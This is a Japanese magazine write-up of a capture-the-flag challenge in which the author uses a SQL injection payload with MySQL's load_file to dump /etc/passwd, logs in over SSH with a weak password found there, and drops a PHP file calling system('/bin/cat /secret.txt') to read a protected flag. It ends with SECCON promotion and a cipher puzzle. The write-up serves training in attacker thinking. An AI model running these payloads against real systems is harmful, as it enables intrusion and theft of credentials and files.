さて、続いて2問目ですが、1問目の正解画面に「2nd flag is in file secret.txt」と道筋が示されていました。この秘密のテキストファイルを表示させることができればクリアということのようです。
とりあえず、普通にWebブラウザから「secret.txt」にアクセスを試みてみたところ、ファイルが見つかりませんというエラーになりました(そりゃあそうですよね……)。
次に、SQLインジェクションを通じてファイルを読み出す手法を試してみました。今回のシステムでは、MySQLが使われていることが、バージョン番号の取得を通じて分かったので、load_file関数を試しました。
load_file('secret.txt') load_file('./secret.txt') load_file('../secret.txt') load_file('../../secret.txt') load_file('/secret.txt') ……
いろいろ試してみましたが、全て「Set-Cookie: session_id=deleted」(SQLエラー時と同様)というレスポンスでした。
“おかしいなぁ……。「secret.txt」の場所まで推測しろという問題なのかな?”と思いつつも、念のため、load_file関数自体が動いていることを確認するため、定番の「/etc/passwd」ファイルの表示を試してみることにしました。
「union select load_file('/etc/passwd'),1 --」を送信したところ……
Set-Cookie: session_id=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L2Jpbi9zaAptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovYmluL3NoCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi9iaW4vc2gKbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovYmluL3NoCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L2Jpbi9zaAp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L2Jpbi9zaApwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L2Jpbi9zaAp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi9iaW4vc2gKYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovYmluL3NoCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L2Jpbi9zaAppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L2Jpbi9zaApnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L2Jpbi9zaApub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi9iaW4vc2gKbGlidXVpZDp4OjEwMDoxMDE6Oi92YXIvbGliL2xpYnV1aWQ6L2Jpbi9zaApzeXNsb2c6eDoxMDE6MTAzOjovaG9tZS9zeXNsb2c6L2Jpbi9mYWxzZQpteXNxbDp4OjEwMjoxMDU6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCm1lc3NhZ2VidXM6eDoxMDM6MTA2OjovdmFyL3J1bi9kYnVzOi9iaW4vZmFsc2UKd2hvb3BzaWU6eDoxMDQ6MTA3Ojovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDU6MTEwOjovdmFyL2xpYi9sYW5kc2NhcGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovdmFyL3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCnBvc3RncmVzOng6MTA3OjExMjpQb3N0Z3JlU1FMIGFkbWluaXN0cmF0b3IsLCw6L3Zhci9saWIvcG9zdGdyZXNxbDovYmluL2Jhc2gKY3RmOng6MTAwMDoxMDAwOiwsLDovaG9tZS9jdGY6L2Jpbi9iYXNoCnRlbXAxMjM6eDoxMDAxOjEwMDE6d2Vha3Bhc3N3b3JkMTovaG9tZS90ZW1wMTIzOi9iaW4vc2gKbnRvcDp4OjEwODoxMTY6Oi92YXIvbGliL250b3A6L2Jpbi9mYWxzZQo%3D
これをデコードすると、
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:103:106::/var/run/dbus:/bin/false whoopsie:x:104:107::/nonexistent:/bin/false landscape:x:105:110::/var/lib/landscape:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash ctf:x:1000:1000:,,,:/home/ctf:/bin/bash temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh ntop:x:108:116::/var/lib/ntop:/bin/false
はい、「/etc/passwd」ファイルが表示できたということは、やはりload_file関数はちゃんと動いています。これは困った。「secret.txt」は、一体どこにあるのだろう……。と思った時、ふと「/etc/passwd」の中に気になる記述を見つけてしまいました。
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
弱いパスワードが付いていることを示唆しているアカウントがある? ということは、攻撃対象はWebアプリだけではなくて、ログインができるのか?
ダメ元で、sshのポートが開いているか確認してみました。
$ telnet ctf.notsosecure.com 22 Trying 88.208.239.33... Connected to ctf.notsosecure.com. Escape character is '^]'. SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 ^] telnet> q Connection closed. $
……開いてたー!
早速、ユーザー「temp123」でログインをしてみます。
……入れたー!(シツコイ)
次に、「secret.txt」を探してみたところ、ルートディレクトリに存在していました。
$ ls -al / total 89 drwxr-xr-x 23 root root 4096 Oct 25 07:46 . drwxr-xr-x 23 root root 4096 Oct 25 07:46 .. drwxr-xr-x 2 root root 4096 Oct 4 19:42 bin drwxr-xr-x 4 root root 1024 Oct 4 19:43 boot drwxr-xr-x 15 root root 4220 Oct 23 07:48 dev drwxr-xr-x 95 root root 4096 Oct 25 08:26 etc drwxr-xr-x 4 root root 4096 Oct 10 12:01 home lrwxrwxrwx 1 root root 33 Oct 4 19:40 initrd.img -> /boot/initrd.img-3.8.0-29-generic drwxr-xr-x 17 root root 4096 Oct 4 19:42 lib drwxr-xr-x 2 root root 4096 Oct 4 19:40 lib64 drwx------ 2 root root 16384 Oct 4 19:39 lost+found drwxr-xr-x 4 root root 4096 Oct 4 19:40 media drwxr-xr-x 2 root root 4096 Aug 18 05:47 mnt drwxr-xr-x 2 root root 4096 Oct 4 19:39 opt dr-xr-xr-x 221 root root 0 Oct 23 07:48 proc drwx------ 2 root root 4096 Oct 25 08:38 root drwxr-xr-x 18 root root 640 Oct 25 17:06 run drwxr-xr-x 2 root root 4096 Oct 4 19:47 sbin -r-------- 1 www-data www-data 684 Oct 25 07:46 secret.txt drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux drwxr-xr-x 2 root root 4096 Oct 4 19:39 srv dr-xr-xr-x 13 root root 0 Oct 23 07:48 sys drwxrwxrwt 2 root root 4096 Oct 25 17:06 tmp drwxr-xr-x 10 root root 4096 Oct 4 19:39 usr drwxr-xr-x 13 root root 4096 Oct 23 07:46 var lrwxrwxrwx 1 root root 29 Oct 4 19:40 vmlinuz -> boot/vmlinuz-3.8.0-29-generic $
「secret.txt」は見つかったものの、ユーザー「www-data」のみが読み取ることができる権限に設定されていました。今ログインしているユーザー「temp123」や、データベースの権限であるユーザー「mysql」では、このファイルを読むことができません。
ここでまず試したのは、「sudo」コマンドです。もしも、ユーザー「temp123」がWebサイトを更新するようなユーザーである場合、sudoでのコマンド実行が許可されているかもしれません。
試してみた結果は、「temp123 is not in the sudoers file. This incident will be reported.」と怒られてしまい、「sudo」コマンドで華麗に読み出す夢はついえました。
次に考えたのは、Webサーバを経由して、ユーザー「www-data」権限で読み出す方法です。先日、日本でも事件につながり話題となっていた、シンボリックリンク攻撃をまず疑いました。ルートディレクトリ、あるいは「/secret.txt」そのものに対して、どこかからリンクが張られていて、リンク経由で読み出せるのではないか?ということです。
Apacheのバーチャルホストの設定を眺めていたところ、
Alias /doc/ "/usr/share/doc/" <Directory "/usr/share/doc/"> Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 </Directory>
という、ローカルホストからでないとアクセスができない、FollowSymLinksが有効となっているディレクトリが存在していました。これは怪しい!ということで、しばらくコンテンツをあさってみたのですが、残念ながらこれはダミーだったようです。
次に目をつけたのは、ApacheのUserDir機能が有効となっていたことです。これは、各ユーザーのホームディレクトリ以下に「public_html」ディレクトリを作ることで、Webコンテンツを公開するための機能です。
ログインしたユーザー「temp123」のホームディレクトリには、「public_html」ディレクトリは存在していませんでしたが、試しに新たに作ってみて、Webブラウザから「/~temp123/」にアクセスしてみたところ、ページを表示させることができました!!
ここまで来たら、あとは、ファイルを表示するスクリプトを書くだけです。
試しに、
<?php echo system('/bin/cat /secret.txt'); ?>
というPHPファイルを作成して、Webブラウザからアクセスしたところ、
2つ目のフラグが表示されました。ビンゴ!!!
これで2問とも答えが分かりました。チャレンジ終了です。あとは運営にフラグをメールで送信することでオールクリアと認定されました。
今回のCTFは、SQL Injection Labsの協賛で行われたCTFということで、SQLインジェクションの問題が中心、Webアプリケーションの問題が中心だとばかり思い込んでいました。このため、2問目のsshログインがなかなか思いつかず苦戦しました。最終的には、たまたま/etc/passwdの内容を見て正答の道筋に思いつき正解に至りましたが、この辺りの発想の柔軟さが今後必要なのだなと思いました。
このようなCTFがあることを知ってしまったおかげで、有意義な週末を過ごすことができ、結果として、全問正解の25人の中にも入ることができて光栄でした。
私は前述の通り、日本のCTFイベント「SECCON 2013」で、Web系の問題を中心に問題作成委員を務めているのですが、やはり、私は問題を解くより、問題を出す方が向いている、とつくづくと思い知りました。
問題の作成は自分の自由な発想で行うことができますが、問題を解く側は出題者の意図を必死に読み解こうとする必要があり、私はそのような時に、私だったらこうするのになぁとついつい考えてしまうからです。問題を解いていると、自分の問題を作りたくなってしまうのです。
とはいえ、今回のCTFへの参加によって次の問題作成のアイデアを得ることもできましたし、良い刺激を受け、楽しく過ごすことができました。NotSoSecure CTFの運営の方々、ありがとうございました(Thank you so much, NotSoSecure Labs.)。
CTFへの参加は、私のようなセキュリティ企業に勤めている人間だけでなく、例えば、システムの開発を業務とされている方々などにも、攻撃者目線の発想を身につけられるという点でお勧めです。「このパラメータをhiddenパラメータとして渡したら改ざんされるのではないか?」「このパラメータに想定外の長い文字列を渡されたらどこかで例外が発生しないか?」など、立ち位置が変わることで見えてくることがあるかも知れません(当然、例示したこれらだけであれば、当たり前のこととして既に気をつけていらっしゃる方々が多いと思いますが、目線が違えば、他にも見えてくるものがあるかと思います)。
SECCON 2013ですが、これからも関西大会、東海大会、オンライン予選大会と続きます。今後開催する大会の中には、まだ参加枠に空きがあるところもあります(既に定員となった大会でも、追加募集枠を検討中です)。このwrite-upを見て、少しでもCTFに興味を持ってくださった方は、ぜひ参加をご検討ください。
SECCON 2013 大会スケジュール - SECCON 2013
http://2013.seccon.jp/2013events.html
みなさま、ここまでお読みいただきありがとうございました。CTFに興味を持った方に、簡単なチャレンジ問題を用意しました。
ある演説を「単一換字式暗号」で暗号化したところ、以下の文章になりました。
Ocvif tjp. D'h cjijmzy oj wz rdoc tjp ojyvt ajm tjpm xjhhzixzhzio amjh jiz ja ocz adizno pidqzmndodzn di ocz rjmgy. Ompoc wz ojgy, D izqzm bmvypvozy amjh xjggzbz viy ocdn dn ocz xgjnzno D'qz zqzm bjoozi oj v xjggzbz bmvypvodji.
これと同じ暗号化を施した結果「vohvmfdo」となった、元の平文の文字列は何でしょうか?
Copyright © ITmedia, Inc. All Rights Reserved.